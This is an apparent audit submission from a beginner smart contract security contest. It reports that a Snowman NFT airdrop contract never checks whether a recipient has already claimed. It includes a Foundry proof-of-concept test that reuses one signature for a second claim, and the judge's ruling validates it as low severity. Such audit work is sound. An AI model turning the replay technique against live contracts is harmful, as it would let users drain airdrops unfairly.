Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: low
Valid

No Replay Protection — Multiple Claims Possible

Summary

The contract allows a user to claim multiple times if they can increase their Snow token balance after claiming. There’s no proper mechanism preventing multiple claims.

Description

The function claimSnowman() computes the Merkle leaf based on current token balance.
Since token balances can change, the Merkle proof becomes invalid unless the leaf matches the current balance.
However, a user who accumulates new tokens after claiming can produce new leaves and signatures.
The getClaimStatus function is not used in claimSnowman to determine if the user has already claimed or not.

POC

function testReplayClaimPOC() public {
// Bob claim test
assert(nft.balanceOf(bob) == 0);
vm.prank(bob);
snow.approve(address(airdrop), 1);
bytes32 bobDigest = airdrop.getMessageHash(bob);
// bob signs a message
(uint8 bobV, bytes32 bobR, bytes32 bobS) = vm.sign(bobKey, bobDigest);
// satoshi calls claim on behalf of bob using his signed message
vm.prank(bob);
airdrop.claimSnowman(bob, BOB_PROOF, bobV, bobR, bobS);
assert(nft.balanceOf(bob) == 1);
assert(nft.ownerOf(0) == bob);
vm.warp(block.timestamp + 1 weeks);
vm.prank(bob);
snow.earnSnow();
uint256 bobSB = snow.balanceOf(bob);
vm.prank(bob);
snow.approve(address(airdrop), 1);
vm.prank(bob);
airdrop.claimSnowman(bob, BOB_PROOF, bobV, bobR, bobS);
}

Impact

A user can use the same signed message to call claimSnowman multiple times.
Contract logic violates airdrop intent.

Severity

HIGH

Likelihood

HIGH

Tools used

Manual review

Recommended mitigation

Enforce require(!s_hasClaimedSnowman[receiver], "Already claimed"); at function start.
Mark the hash as used to not allow replay attacks.

Updates

Lead Judging Commences

yeahchibyke Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of claim check

The claim function of the Snowman Airdrop contract doesn't check that a recipient has already claimed a Snowman. This poses no significant risk as is as farming period must have been long concluded before snapshot, creation of merkle script, and finally claiming.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.